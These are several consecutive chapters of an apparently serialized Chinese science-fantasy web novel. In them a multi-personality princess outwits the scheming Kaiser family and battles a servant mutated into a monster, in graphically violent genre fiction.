柯茵几乎是瘫坐在椅子上,她撑着颤抖的手把自己往椅子深处挪了挪,再次接着对军士长伸出手。
军士长无奈点头,让人把那枚戒指呈了上来。
柯茵攥着戒指,看着囚室里凯瑟尔家的侍从,没报什么希望地问:
“是谁在对面听?”
侍从恐惧地摇着头,不敢给出答案。
“看看你周围,孩子,如果你老实回答,我会让你死得快一点。”
一瞬间,安静地囚室里每个可怕的人类展品包括刚刚死去的安泊尔都似乎都一齐尖叫起来,仿佛一首美妙的恐怖交响乐。
而它们的指挥带着浅浅的笑意,看向那个凯瑟尔家的奴隶男孩。
男孩下意识想要捂住耳朵,却被押他的士兵折住手腕,无处可躲。
“我的耐心有限……”
男孩顿时失了分寸,他语无伦次起来:
“您打不过凯瑟尔家的舰队的,她们、她们的人数比您多太多了,她们已经为了这次远征筹备了整整三年……如果您投降的话,如果投降、如果投降!”
“回答我的问题,谁在通讯的那头!”
柯茵几乎是迸发出怒吼,说完,狠狠捶了一下椅子的扶手。
“是哪个凯瑟尔,还是她们哪条狗在对面监听?”
柯茵的声音让那个奴隶男孩暂时恢复了一丝神智。
“凯瑟尔……”
他发疯一般地语无伦次地回答:
“是凯瑟尔,伊芙凯瑟尔大人本人!”
柯茵叹了一口气,恢复了平和地状态,她的语气也变得温和,对着戒指娓娓说到:
“伊芙凯瑟尔,你能听见吗?”
==
“永恒盛夏”号内部装潢奢华,宛如一座漂浮在宇宙中的热带宫殿。
十几米的藤蔓沿着纯白廊柱攀援而上,用葱郁的绿色遮盖住透明穹顶外的无尽星海。舰桥底部则是一片足以以假乱真的雨林。高低错落的植株掩盖之下,是飞船内的室内泳池。
泳池中,伊芙凯瑟尔的女儿奥利维亚单手在水边抹了一把脸,水珠顺着她健康、高挑、肌肉紧实的身体缓缓流下——
其中掺杂一些血液和人体的脂肪组织。
“船上的伙食把这些蠢猪养得太肥了。”
奥利维亚抱怨着洗去溅在自己身上的碎肉,轻勾右手,如镜般的水面上立刻浮起一把古老制式的熔血弓——银弓接近1.5米,花纹繁复、质地沉重,从水中浮起时掀起不小的涟漪。
奥利维亚将长弓涤过两次,随后用星辰力量隔空控制着弓箭在水中振动,利用感应震动清洗去熔血弓装饰花纹里面嵌入的血污。
然后,她听到有一株灌木轻轻动了动。
奥利维亚摇了摇头、嗤笑一声,不做理会,不急不慢地继续洗刷着自己的长弓,直到确认两面都洗干净后她才从水池中把那长弓捡起。
沉重的弓箭在她的手上轻若无物,她像是草原上的亚马逊女猎手一样迅捷地从背后的箭袋中掏出一只熔血箭,搭开长弓。拉满银弦时,她双手大臂和小臂的肌肉流畅地无声滑动着——一如长弓上的清水在繁复的花纹中安静流淌。
奥利维亚几乎没有调整自己瞄准的角度,只见灌丛中跳出忽然跳出来一个衣着褴褛、满身涂满棕色颜料的奴隶,拿着匕首红着眼冲向奥利维亚。
“呃啊!我杀了你!”
杀了我?
奥利维亚压下唇角的微笑,轻轻松开拉弦的手指。
簌——
银箭破空!
鸣镝片刻便扎入偷袭者的心脏——
随后,奥利维亚伸出食指和中指,轻轻晃动,伴随着她的手指,方才刺入奴隶身体的银箭竟然动了起来!
银箭如同纺锤一般前后进出起那个奴隶的腹腔,发出捣碎血肉时的狼藉声响。
锃——
奥利维亚勾起手指,让银箭飞回自己的手上。
后者的速度太快,带起的血液再次弄脏了奥利维亚的手心、弓箭和脸颊。
死者的血泊蜿蜒地蔓延到奥利维亚的脚下。
“为什么这些蠢货的腹腔不能像机械体一样整洁,真该死。”
她无奈地轻叹一声,赤脚走回水池边,再次清洗起她的弓箭。
直到一串急促的脚步声打断奥利维亚的思绪,让她的右耳轻轻动了动,她再次从水中警惕地起身,大开大合拉开弓的同时,敏捷地转过身对准身后人,精准地像是杀戮机器、一座人型的自动化炮台。
在奥利维亚身后,穿着挂布一样服装的侍者被她吓得喘着粗气。他举起双手,同时也把手里举着托盘扔到了地上,屏息凝神地闭着眼,结巴到:
“奥利维亚阁下,您、您、您……的母亲找您。”
奥利维亚不满地看着侍者,收起长弓,长臂一捞,捡起侍者掉在地上,本事拿给她的熔血发冠,她把那东西往自己的头顶一扔,后者便像是有生命的银蛇一样束起奥利维亚如瀑般的黑发。
“下次看着点,箭不该浪费在你这种没价值的目标身上。”
“永恒盛夏号”被绿荫织就的中庭,一条星灰色的石板小路上穿越以假乱真的丛林,连同着泳池和中庭的会客区。
奥利维亚一走进会客区,两名女□□隶便为她披上了华贵的丝绒浴袍。她每走一步,就又有两名奴隶用昂贵的人造织物地毯垫在她脚下。如此排场只是因为伊芙讨厌地毯上的水渍而奥利维亚喜欢赤脚走路——
以及,凯瑟尔是整个第三行省最大的奴隶主,她们有数不尽的,“人力资源”。
奥利维亚觉得那些家伙拖慢了她的速度,便嫌恶地轻啧一声,不顾礼仪地喊:
“您找我什么事,母亲,我的狩猎还没结束。”
奥利维亚一边走,一边接过奴隶递来的长浴巾擦拭自己和母亲完全不同的黑色长发。擦完头发,她在中庭的空地站稳,看向自己的母亲。
中庭的会客区只摆
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着一把镶嵌着各类宝石的红色躺椅。
伊芙凯瑟尔坐在躺椅上,纤长的手指轻抚着水晶酒杯,另一只手漫不经心地翻动名贵的古地球时期的纸制诗集。
伊芙凯瑟尔,凯瑟尔的四女儿,最有望继承凯瑟尔家族的女人。
位于权力旋涡中心的伊芙凯瑟尔看起来正值中年,她一头柔顺的金发保养得非常好,目光则同猎豹般锐利。伊芙凯瑟尔脸上却永远保持着一种慵懒的笑意,像是焊死了一张微笑面具。五十年的权力生活在她身上留下印记,让她即便是在最放松的时刻,也保持着一个掠食者应有的威严。
在她的红色躺椅后,伊芙凯瑟尔新纳的两个侧室丈夫正驯顺地垂手等待着她的传唤,先前的两个侧室则举着肥厚的棕榈叶,给伊芙凯瑟尔扇风。在红色的躺椅前跪着十几个年轻的男女奴隶,皮肤被涂抹成棕色,同样静默地等待着女主人的差遣。
而在一切精致的陈设里,一个跪在伊芙脚边的男人却格外肮脏而显眼。
他既不像是奴隶那样全身涂满棕色,也不像是伊芙凯瑟尔的侧室丈夫那样穿着华贵,展出身体一般站在她的身后。
奥利维亚嫌弃地看了那半人不鬼的家伙一眼,随后紧紧捏着长弓,撇开了眼神,仿佛多看他一秒钟都会忍不住当场在母亲面前当场射杀那家伙。
“母亲,您带这个又疯又脏的东西来干嘛?”
“我教会了他接扔起来食物的把戏,你要看吗?奥莉薇。”
奥利维亚咬了咬槽牙,她的痛苦和忍耐表情被却伊芙凯瑟尔、也就是她的母亲玩味地尽收眼底。
奥利维亚最终忍耐住自己的愤怒,回答:
“不,母亲,没有什么事我就先走了。”
“我们正驶向全副武装的八皇女的领地,我需要为稍后的猎杀热身。”
“等等……”
伊芙凯瑟尔用手轻轻抚摸着自己脚边男人细软的黑发,严厉地呵住奥利维亚。
“我听说安泊尔的戒指传回了讯息,留下一起听听。”
伊芙凯瑟尔说完,身后的一个奴隶从不知何处捧出一个精巧的传音天使塑像。
金色的天使塑像看起来像是一条丑陋的大头鱼,因为传音天使本就是以人类婴儿胚胎为原型。塑像中的丑陋的天使攥着小手,一副滑稽姿态,似乎知道自己马上要传递的是毫无光荣可言的阴谋诡计。
奥利维亚是个地底圣堂训练出的战士,她们和所有受训的女孩一样以堂堂正正地在对决中取胜为荣,看着象征宫廷阴谋的传音天使就心生厌恶。
“我对阴谋*没兴趣,母亲,我只需要您确认我应该为您杀掉哪些人……”
伊芙凯瑟尔用她纤细且保养良好的手轻轻旋转金色传音天使塑像背后的旋钮,一边教导她的女儿:
“我知道你被‘十三武神’的蠢话冲昏了头脑,渴望什么战士的光荣。”
“但奥利维亚,你是我唯一女儿。迟早有一天,我从凯瑟尔家、从整个第三行省得到的一切都将是你的——”
伊芙凯瑟尔的声音染上严厉:
“如果你不关心阴谋,阴谋迟早有一天关心你。”
伴随着一副凯瑟尔的动作,从被调大声音的传音天使塑像里,传来一阵模糊地响动,似乎是某种杂音。
奥利维亚耐着性子叹了口气,敷衍她的母亲一样站住。
好吧,奥利维亚告诉自己,就只是一会儿,她就能回去热身了。
于是母女二人和飞船中庭几十个奴隶一起等待着金色传音天使中的那阵噪音过去。
杂音之后,是低沉的呼吸声,来自一个刚刚平息愤怒的家伙,或者兴奋地主持完中子星电台的疯子。
“伊芙凯瑟尔,你能听见吗?”
奥利维亚凯瑟尔和伊芙凯瑟尔面面相觑,她们不太熟悉那个声音,或者说那个声音她们是熟悉的……
但它不该这个时候从这个地方传来!
那是八皇女的柯茵的声音。
那安泊尔呢?
她们的惊诧还没结束,就听八皇女毫无皇室体统地直接开口骂道:
“伊芙凯瑟尔……你这个该死的王八蛋,老不死的东西!”
16. 疯子和疯子们(15)
“伊芙凯瑟尔……”
“你个该死的王八蛋,老不死的东西——”
“我爱死你了!”
柯茵在众人的震惊中兴奋地拉过身旁克劳狄的脑袋,几乎是在他脸上嘬了一口,发出响亮的亲吻声。
克劳狄像是只被人捏了嘴筒子的大狗一样无措,皱起眉看向不知道又在发什么疯的柯茵,向后躲了一下。他眉宇间全是疑惑和不满但耳尖却飞快地红了。
这女人……!!真的是个疯子!
“您真是太懂我的喜好了,凯瑟尔!”
“克劳狄是我见过最好看的男人,你还真是会投其所好。”
“凯瑟尔家族也足够慷慨大方……愿意献上自己家的男性”
“我也爱你,老家伙,期待你来炼狱星做客,我们这儿除了冷空气什么都没有,记得多穿两——”
柯茵的件字还没说出口。
奥利维亚伸手砸碎了金色的传音天使,里面的机械声学结构碎了一地,弹簧和骨片到处乱蹦。
“母亲,您怎么能容忍那个蠢货羞辱您!”
伊芙面对自己女儿盛怒,早已见怪不怪,她冷静地抱怨,眉眼中还有一丝宠溺的笑意:
“你父亲的圣泉污染了你,为什么这么急躁?”
“可那个该死皇女……”
伊芙凯瑟尔摇头,目光盯着自己的女儿。她不动声色捏紧了自己的书页,总是保持克制微笑的脸上像是裂开样淌出轻蔑的冷意,她必须给自己的女儿上一课,政治、战争与人类历史的入门课——
忍耐。
“你不是因为她侮辱而愤怒,你愤怒是因为她识破了我们的计谋,你愤怒是因为你想象中和奴隶一样愚蠢的八皇女居然长了脑子。”
“你愤怒是因为我们第一个计划失败了。”
“奥利维亚,未来你会成为凯瑟尔家的将领,甚至成为凯瑟尔家的家主,所以你必须要接受阴谋总是会失败的事实。”
“可是、母亲。”
伊芙凯瑟尔合上诗集,没有继续理会她的女儿,也没有被八皇女柯茵的声音吓住,她指了指地上的传音天使塑像碎片,立刻奴隶为她端上了一尊一模一样的塑像。
伊芙凯瑟尔不紧不慢地旋开旋钮,她抬眼看向自己的女儿,仿佛在用目光告诉她:
“你看,凡事都要有两手准备。”
她说着接通了电话那段的通讯。
“八皇女殿下,您能喜欢在下送的薄礼实在令我荣幸。”
“我其实为您准备了两份礼物,希望您能喜欢。”
“祝您……玩得开心。”
两份礼物?
玩得开心?
柯茵听完伊芙凯瑟尔的话,有些疑惑地看向克劳狄的陪嫁侍从。
难道他就是第二份礼物?
柯茵眯起眼睛抬颔看着那个年轻的侍从,他算个什么礼物。
看到皇女饶有兴趣地打量自己,但反倒是克劳狄的陪嫁侍从抓住了一丝生机。他挣开压住他的士兵,扑向监狱的栏杆:
“求求您的了皇女殿下,我错了,我错得离谱,我不应该听凯瑟尔家的蛊惑,现在我想跟着您,您让我做什么都可以,让我像克劳狄一样当您的狗侍奉您吧。”
“只要不杀了我,我什么都会做的。”
“你在让我救你的命吗?”
“没错,求求您救救我。”
柯茵充满怜悯地看着陪嫁侍从的眼睛。
“小家伙。可你几分钟前还在央求我杀掉曾经救过你的人。”
“而且,可能是我声音太小了,你似乎没有听我说话。我刚刚才说过的。”
“背叛这样的错误,一生只能犯一次。”
“需要我帮你数一下吗?”
“克劳狄一次,凯瑟尔一次。”
柯茵笑了一下,看向一直垂着头的克劳狄,似乎在询问他的意见,保持一种只有他们两个人能听到的声音:
“野狗,你认识这家伙吗?”
克劳狄还没回答,柯茵就听到陪嫁侍从大声哭泣起来。
他的哭声越来越哑,越来越哑。
一开始,克劳狄还低着头,不准备回答任何问题,但听到自己陪嫁侍从的哭声后,他忽然警惕其阿里,像是只骤然起身的看门犬一样抬起头。
“放开我。”
“放开你?”
“是异速生长,凯瑟尔家往那个男孩的身体里打了力量药剂!”
异速生长是什么东西?
柯茵反应了半秒,手里轻轻攥着着匕首。
克劳狄不敢置信地看着她对自己的话无动于衷。
“你听到我的话了吗?!快放开我,你的人对付不了这种情况。”
“先放开我,之后随便你怎么处理!”
“你不是喜欢血嘛?尽管拿去,看看我说的是真是假。”
柯茵看到克劳狄脸上的急切和担忧并不像是演出来的,但现在冒险放了他却也有些愚蠢,此刻正式柯茵身体的虚弱时刻——她自从穿越过来之后从没像此刻一样难受,似乎是使用那个星辰力量耗尽了她的全部力气。
柯茵不敢放开克劳狄,如果这又是他金蝉脱壳的招数,她将毫无胜算。
柯茵迟疑的片刻,她听到监牢里陪嫁侍者的哭声愈发低沉——最终低沉到人类无法发出的程度。
伴随着那低沉的,魔音一般的哭声的是衣物碎裂的声音。
柯茵看向屋内,男孩原本单薄的身体开始以一种违反自然的方式膨胀,他身体内的骨骼发出咔咔声!
男孩的脊椎如白蛇一般挤破瘦削的后背,扭曲着拉长。而肋骨生化出的白色骨刺则从他背部皮肤下突起,在那之后,新生的恶臭肌肉就你追我赶地包裹那些骨骼,膨胀的生物组织很快将他身上的纱衣撕成碎片。
男孩肌肉组织像面团般膨胀,原本纤细的四肢不断膨大,直到变成了一头非洲象大小的怪物,可诡异的是,他的头颅却保持着原来的大小,年轻的、懦弱、还挂着泪痕的惨白脸庞,和那具怪物的身体显得格格不入。
柯茵抬头看向头顶那具人头鲸的骨架,终于明白了那可怖标本的由来。
这才是伊芙凯瑟尔说的第二份礼物。
那个老谋深算的混蛋,所有的事情她都有两手准备!
男孩的异变过程令人震惊,军士长最先反应过来,她大声下达命令:
“是异速生长的怪物。”
“展开防御模式!所有人,瞄准他的要害!”
士兵们迅速摆开阵型,她们身上的盔甲立刻悬浮飘起,离开原主人的周身,和其他士兵身上的外骨骼部件练成一张紧密排布的点阵,在每个部件之间,像是孔雀开屏一样展开一层三色衍射光芒的能量护盾。
在柯茵面前,盔甲练成的点阵瞬间形成了一层高数米的防护盾墙。
但就在军士长准备下令开火时,那只巨大的怪物
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已经行动起来,冲向牢房之外。
“开火!!”
伴随着军士长的命令,电浆束如暴雨般倾泻而出,却只在怪物表面留下焦黑的痕迹。那些能轻易洞穿人类身体的能量束,对这头巨兽来说似乎只是皮肉之痒,反而激怒了他的行动。
两名原本就在侍从身边的两个士兵首先被那个异化的巨兽攻击,第一个没反应过来的士兵整个连同外骨骼盔甲都被砸进墙里。另一名士兵试图从侧面攻击,却被不知道哪里冒出来的骨刺穿透防护罩,一击毙命!
但变异远没有结束!
男孩弓着背,他现在已经有小十米高,像是被装在盒子的巨鲸一样扭曲着自己的身体,他粗壮的膨大成白倍的手臂撑在地上,支撑着他爬向柯茵。
爬动的过程中,男孩那颗和身体相比已经小的惊人的人类头颅缓缓上下颠倒起来,转向柯茵。
男孩脸上还带着方才哭泣的表情,但他的眼白已经消失不见,整个眼球都变成了深渊般的黑色。
男孩用完全不属于人类的声音对着柯茵低吼:
“求……您……救救我……”
但下一秒,那颗头极速转了270度!似乎略带疑惑地看向克劳狄。
“为什么……你……活????”
“死……!!”
说罢,两个根巨大的骨刺穿破男孩扭曲的手腕,原本是人类尺骨和桡骨的两根骨头纠缠着飞速生长,像是独角兽的角一般旋转刺向克劳狄。
柯茵不明白为什么这家伙的对象忽然会转向克劳狄,但她知道后者是她重要的政治资产,如果克劳狄死了,那她刚刚所做的一切腾挪就都失去了意义。
而之前骨刺穿过能量屏罩刺穿士兵的场景柯茵已经看到了。
她猜到能量屏障应该是用来防御更加高速的能量武器比如子弹和电浆,而不是像骨刺这样的东西。
所以,横亘在自己和克劳狄面前的防护根本一点用处也没有。
而骨刺正如柯茵所预料,瞬间击穿了星辰之力的护盾,箭矢一般冲向克劳狄!
克劳狄认命似的闭上眼。
却发现预想中的疼痛并未到来。
铮——!
烈火在克劳狄眼前燃起!
八皇女的熔血长剑精准地格住了迎面穿来的骨刺。
银白色的金属发出被重击后嗡嗡的铮鸣,而长剑的剑格距离克劳狄的鼻尖只有一寸之遥。他甚至能够感受到熔血剑的温度!能够看到长剑中间银白色的熔血金属在它主人的手中轻微地颤抖着!
克劳狄听见那些训练有素的士兵们仍然在军士长的指挥下不断向着牢房中央开火,但他知道,这些用来杀死人类的火力对于怪物来说完全不痛不痒。
克劳狄不敢置信地看向表情冷漠的皇女。
那个暴戾愚蠢,创造了这间可怕的收藏室的贵族,她居然替自己攥住了刺向喉咙的尖刃?
“我坚持不住了,自己躲开……!”
柯茵说完,再难格住力道惊人的骨刺,脱力地松开手。
而就在她话音落下之际,克劳狄猛然偏头。
骨刺瞬间向前狠狠刺坏了克劳狄背后的椅子,刺穿了原本是克劳狄头的位置,但也因为力道过大,那骨刺深深陷入了椅子之中难以抽出。
柯茵重新抬剑,一剑斩断骨刺的前端,让怪物发出吃痛的嘶吼声。
但做完这一切,她实在是没有力气,扑通一声倒在地上。
17. 疯子和疯子们(16)
柯茵的视线天旋地转,她惊悚地看到怪物撞裂了她收藏室的墙,给帝国监狱的地基层撞出一个大豁口,让炼狱星的夜雪和狂风一起呼啸着灌入囚牢内,掀翻了她那些本就破碎的藏品们,结束了它们长久的痛苦。
柯茵攥拳,眼皮沉重地眨着,耳畔是自己的呼吸声,她努力保持着清醒和有节律的呼吸。
一定是使用这个什么星辰力量才导致她的身体出现这种虚弱的状况。
柯茵感到自己手中的剑也变得轻了不少,轻得好像随时能从她的手心中飘走,就和她岌岌可危的灵魂一般。
“她是不是不行了……?”
“我就说应该让我做主人格……”
柯茵不知道脑海中的那些话是自己臆想出来的,还是真的来自她那些不安分的人格们,但她决心撑住,即使她已经感觉到自己的眼帘不停试图遮住她的视线让她安分一点。
第一次没撑住眨眼,柯茵看到衍射偏光的盾牌在豁口处亮起,电浆武器的火力压制在漆黑的夜幕里融化冰雪,蒸腾起遮盖视线的阵阵烟雾。
第二次没撑住眨眼,她看到克劳狄挣脱破损的座椅,趁着没人看守他,抻抻手上还没解开的沉重镣铐,迈步赤脚进入囚室外的黑夜中。
柯茵想骂街,但身体没那个力气,她就知道自己没放开那家伙是正确的——她现在的力气大概只够祈祷冷空气冻死那家伙。
第三次柯茵没撑住眨眼时,眼前一切的边缘都在泛白光,她知道自己快撑不住了,幸好一个女人在她几乎眩晕过去的前一秒抱住了她:
“皇女殿下,坚持一下,马上就好。”
女人说着,举起一支快三十公分的粗长针管——满是泡泡的浅绿色液体的针管,表面亮得反光。
等等……那看起来像是兽用药的东西不会是给她打的吧!
柯茵还没来得及思考,就感觉手臂一阵刺痛。
……!!!
一瞬间,柯茵耳畔战场的嘈杂声全部消失了,像是忽然被人按下了静音键,取而代之的是她体内的声音。
血管的喧闹,心脏的狂跳……柯茵的身体迅速发生着变化:
暖意伴随着血液传遍全身,顿时,她感觉自己充满了取之不竭用之不尽的力量!
她骤然睁开眼,发现自己还在那间寒冷进风的特别囚房中,可她整个人一扫方才的宿醉感,充满精神,甚至想要围着炼狱星的帝国监狱跑起来。
不仅如此,她甚至能够感应到一种神秘伟大的存在,在距离她非常非常遥远的地方召唤她——那种召唤超越她此时此刻能够感觉到的全部物理空间。
像是群星之中,她的母体正在洞视、呼唤着她。
“来——”
“到我这儿——”
那声音慈祥悠远,却在柯茵耳中分外诡异。
她一把抓住那个给自己注射奇怪液体的女人,好像溺水的人刚被救上岸一样急喘。在柯茵的耳畔,战场声音逐渐嘈杂起来……
柯茵听到刮进监狱的狂风,听到豁口外、雪原上怪物半人半兽的低吼,听见电浆集束发射时尖锐的出膛声,听到士兵们的抱怨和军士长的指挥声,听见她们忙乱踩雪的挤压声。
“再给我一支。”柯茵直视着那个态度坚定的女人,发现她的手臂上缠着红色袖带,似乎是作为军医的标识。
“不行,您的身体不能继续注射——”
“不注射,就给我一枝针管看看就好……我保证不会……做出什么失去理智的事情。”柯茵说着,手中的力道加重。
军医的手逐渐松开,她虽然不明白皇女殿下在说什么胡话,但她还是取了一只新的力量药剂递给柯茵。
柯茵看向那只散发着盈盈绿色,不停溢出气体的黄铜玻璃针管表面,直视反光中的自己。
气泡翻滚,她的目光似乎也发生着变化。
“到我们上场了?”
反光中的倒影对柯茵点了一下头,似乎已经做好了大开杀戒的准备。
那是4号,末世文的柯茵。
柯茵本体插着手放在自己胸前,一副故去得很安详的样子,回答她:
“来吧,古代架空确实没有这种东西……我尽力了。”
柯茵话音方落,就感觉耳畔忽然响起了4号沉重的话语。
“别怕,我不会争夺你的身体。”
柯茵听到她说,那声音意外地温和,和4号的形象极端不符,和她眼中杀戮的欲望也相去甚远……
4号现在就像是一只翩翩然飘到她头侧的天使、像个搭着她双肩的背后灵一样在她耳畔循循善诱地说到:
“你来操纵身体……我来告诉你怎么做。”
柯茵忽然意识到,这次的投射才是真正成功的投射。而先前投射3号、以及和原主争夺身体时的流程其实都不正确。
因为这次柯茵感觉到一种短暂的融合感,就像是她忽然找回了那个曾经在末世孤独游荡的自己的记忆。
末世里血腥的战斗融合进柯茵的头脑,但是却并不拥挤,似乎它们本来就在那里,似乎那些记忆本来就是她的记忆一般——
==
D9高速公路。
它蜿蜒向城市的废墟中,在被黄沙掩埋的热浪里像条被阳光晒得发黑的旧伤疤。
在被柯茵停在一旁的军绿色卡车旁,歪扭的里程碑上用红字标注着“10公里”的公路路程。
而在这十公里的道路上,站满了头上长满真菌丝状突触的丧尸,它们正在太阳下“午休”,从柯茵眼前一直延伸到她的目的地。
柯茵踩了踩自己的靴子,尽量不让它在滚烫的柏油路上发出声音,以免惊扰这群眼下还无视她的丧尸群。
她手里有一只铅笔,轻轻在速记本上根据目前能看到的丧尸密度推算着整条路上的敌人数量。
她背的武器应该正好足够从这里一路杀到城市边缘的服务站,好从那里补充卡车必须的机油、防冻液和小型配件。
推算的最后,柯茵调整了一下自己挂满弹夹的肩带,从后腰掏出她那把几乎不用的左轮手枪,甩开弹仓,里面五枚银色的子弹底在阳光下闪烁晃眼的光芒。
这些子弹是留给她自己的,如果一点被丧尸咬到,柯茵无法靠他人的怜悯了结生命。
她每次都会检查是否有足够的子弹留给自己。
推上弹仓的时候,那清脆的咔嗒声还是吸引了几只丧尸的目光,它们歪着头用鼻子嗅着声音来的方向,咬着牙发出嘎吱嘎吱的声音。
最后,一条公路上所有的丧尸都醒了。
柯茵抽出背后的开/山/刀。
“让派对开始吧。”
4号肌肉里对于战斗技巧的熟稔,应对诸多危机时的策略像是血液渗入地砖的缝隙一般融合进了柯茵的头脑。
除此之外,属于4号的感情也瞬间融入了柯茵的意识。
柯茵感受到被压抑的孤独。
她朦朦胧胧地看到一副印象派画中,在阳光和草甸中的少女用双手笼住一只大黑狗的嘴。
“‘力量’……”
柯茵嘀咕着,4号的记忆中独属于她的牌面是“力量”。
她原以为4号会是“战车”或者什么更具破坏力量的牌面,但没想到属于她的那张牌是“力量”。
而“力量”正是这种情况下她需要的副人格!
方才注射完药剂之后,柯茵就越来越有一种无法控制身体的感觉,就像是她忽然乘上了一辆良驹牵引的战车,但却握不住那几匹骏马的缰绳。
“力量”这张牌指内心的坚定。
真正的力量并不来源于外部,真正的力量冷静而精确,就像4号一样。
而她正是握住缰绳的最好人选。
虽然投射并不足以让柯茵回忆起那段末世的全部经历,也不足以让她和4号完全融合。但她还是感受到了一种来自内心的统御感,坚定的心灵统御着强大的□□!在无尽的杀戮中,末世文中的柯茵锻炼出了嗜血的本性,但她又凭借着某种力量坚定地驯服了那种杀戮欲望。
“
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它的皮肤、它的骨肉都会再生……”
4号在柯茵的耳畔说,狂风也呜咽作为垫音,4号像是教导孩子狩猎的家长一般耐心。
“所以我们会很快、很精确——”柯茵回答,她学着四号的口吻,却感觉那些话语似乎本来就属于她:
“让派对开始吧。”
『【劣后翼】人格已激活,将于60秒钟后消失!请您谨慎使用!』
『本段剧情人格唤醒次数剩余:0次!』
军医听到皇女不知道在那里自言自语什么,于是便用便携手电筒查看了她的瞳孔,精神紊乱是长期使用力量药剂的后遗症,常见于贵族血统的指挥官们。八皇女殿下更是有长期使用这种药剂的病史,军医已经对此见怪不怪。但还没等军医检查完,就见皇女一个打挺蹦了起来。
啊……??
虽然打了力量药剂之后被副作用降低精神稳定度是正常现象,但鲤鱼打挺显然不是……
军医震撼地看向四周,以目前的局势,没人注意到这里,她的医疗声誉还有所保障。
但下一秒,军医就看见皇女殿下单手把手上的力量药剂打进了自己的脖子里。
“我保证不会……做出什么失去理智的事情。”
她保证……
军医甚至感觉自己发不出声音,忍住了想要对着皇女破口大骂的冲动,并告诉自己那位不仅是自己的患者,还是顶头上司。
“皇女殿下,您这是在拿生命冒险!”
连续两次注射力量药剂的确会让一个人的星辰力量翻倍增长,但是……也会导致极高的脏器过载,除非是那些已经做过义体替换的顶级舞者,不然没有人敢如此拿自己的生命冒险!
“所有的战斗都是用生命为赌注的冒险,来吧,押上我们的全部。”
“要对付那家伙,我们还需要更多的力量。”
“以及一些热身。”
听着4号的话,柯茵松了松肩部与腕部的关节,感受到了力量的再次充盈,她甩出那柄燃烧着烈火的长剑,把它的剑柄像是轻巧的匕首一样在手里转着,熟练地用这种方法感受着剑的配重、力道和速度。
“这是把趁手的剑。”
柯茵不断转着手中的剑柄,听到自己的体内两个灵魂的缝隙之间传来评价。
“配重正好适合我们的手臂。”
“足够解决麻烦吗?”柯茵在脑海中和自己对话着。
“哦……何止如此。”
“只不过,我们必须正确地使用它。”
“‘正确’?”
4号低声说出了关于武器的见地,哪怕是在灵魂间,那答案也足够轻盈微弱,无声地随风而去。
“太妙了!”柯茵表示。
她从收藏室的残垣断壁中迈步走出,雪夜的狂风和暴雪的碎屑狂暴地席卷着她的身体。
柯茵循着积雪中的血迹、循着电浆的弧光和蒸汽靠近战场。
她左手食指和拇指攥在一起,吹了声响亮的哨子。
那些分散在夜幕和积雪中的士兵们的注意力短暂被她这声哨子吸引了。
皇女殿下手持她那柄烈火长剑再次出现在战场上,出现在夜幕和积雪模糊的黑白缝隙间:
“十点钟方向的小队向两侧分散,给我留出火力压制的通道。”
在战场上,大多数时候人们来不及思考很多。
人们不知道哪些命令是拯救他们的福音,哪些是把他们拖入地狱的低语。人们只知道,如果在混乱的战场上有一个人十分笃定自己在做什么,也笃定她需要别人为她做什么。
那么,务必听从她的命令。
“按照皇女殿下说的做!”军士长听到了她的话。而那些使用奇怪排枪战法的星际线列步兵们也听到了,他们按照这道来自皇女殿下的命令分成两翼。
于是从分裂的军阵中、从电浆集束的枪林弹雨中,闪过一道银白色的身影,那身影冲向已经异变为十几米高的、头顶隐藏进夜幕和暴雪中的巨怪,速度快得惊人。
18. 疯子和疯子们(17)
在被两翼的齐射分散注意力,不知道向何处攻击之时,怪物的面前不知何时闪出一道银白色的身影。
那身影在它面前凝聚,手中银白色的长剑再次燃起烈焰,点亮女人苍白的面孔和鲜艳的红色头发,她身穿昂贵的熔血金属,因为寒冷,金属条带正不断释放着热量,因此显现出鲜艳的红色。
在皇女身后,她的亲兵也加入了战斗,先前这些看起来远比军士长手下士兵强上不少的战士们,不知道为什么始终没有加入战斗,知道看到柯茵本人站了出来,她们才重新集结到她身后。
柯茵就着火焰的红光回头看去,她的亲兵们双眼逐渐变得透明、头发也从末梢升起来,像是被静电反应激发得膨胀起来。
透明这个描述似乎不太正确,在柯茵的眼中,她们的双眼仿佛变成了透镜,从柯茵的角度看过去,她们的上下眼皮之间框住的不是瞳孔而是一小片深蓝色的宇宙群星。
星辰之力,正如其名。
“皇女殿下,这场战斗本与您无关……”
亲兵队长说罢,对着柯茵面前的方向挥手,某种冲击波震碎了从怪物背面绕到正面的一支骨刺。她说罢回头看了一眼身后那些没有经过圣堂训练的士兵们,无奈地摇了摇头。
“凡人士兵们可以自己解决怪物,只是消耗多少的问题。”
“‘消耗’?”柯茵摇头。她有一场恶战在眼前,此时最是不能让将士寒心的时候。
看着亲兵们熟练地运用星辰之力,柯茵明白,即使自己目前打过两支力量药剂,还有4号的战技和武器天赋加持,但她星辰能力似乎远比不上这位轻松用冲击波击碎了骨刺的亲兵队长——她们之间的战斗力有着很大的鸿沟。
但柯茵不得不上。
士兵能够为指挥官拼命的前提是,她们知道她们指挥官也会为她们拼命。
“不,让我来解决这家伙。”
亲兵队长的话语哽住了,她的眼睛短暂地恢复了一瞬间,目光似乎在问“这人是谁”,然后她总是一丝不苟的嘴角短暂绽放出一丝笑意,回答:
“明白,那我们照看您的后方。”
柯茵点头,回头就见怪物的数只骨刺从被火焰烤成暗红色的夜幕中冲来。
即使有亲兵的星辰力量的加持,也有数只骨刺从空中狠狠砸下,掀起雪地上的积雪,把柯茵的身形淹没在白色的雪瀑中。
从骨刺和白雪中,一杆赤焰斩断那些骨刺的末梢,散发出碳化的焦味。柯茵在躲避那些快速生长的骨刺们的二次攻击间,步伐腾挪、不断接近着怪物的本体,轻而快的步子几乎没有发出踏雪的声音。
有了4号战技加持和力量药剂的柯茵感觉自己的听觉、视觉无一不更加敏锐,哪怕是在黑暗中,只一道划过头顶的电浆光弧便足够照亮一方天地。
柯茵视线中出现了怪物已经异化得极为敦厚的双足,那肉瘤一般的手像是人类和大象的杂交物,堆积褶皱的皮肤颤动着,支撑着已经成为一尊炮台的怪物的身体。
顺着那双足看上去,柯茵发现黑暗中那个小小的人类脑袋从十几米地高空中伸下来,惊讶地看着她,似乎是想知道什么东西在不断挤碎它的骨刺。
就因为这个观察的瞬间,柯茵得到了一个更加凑近怪物周身的机会。
“上。”
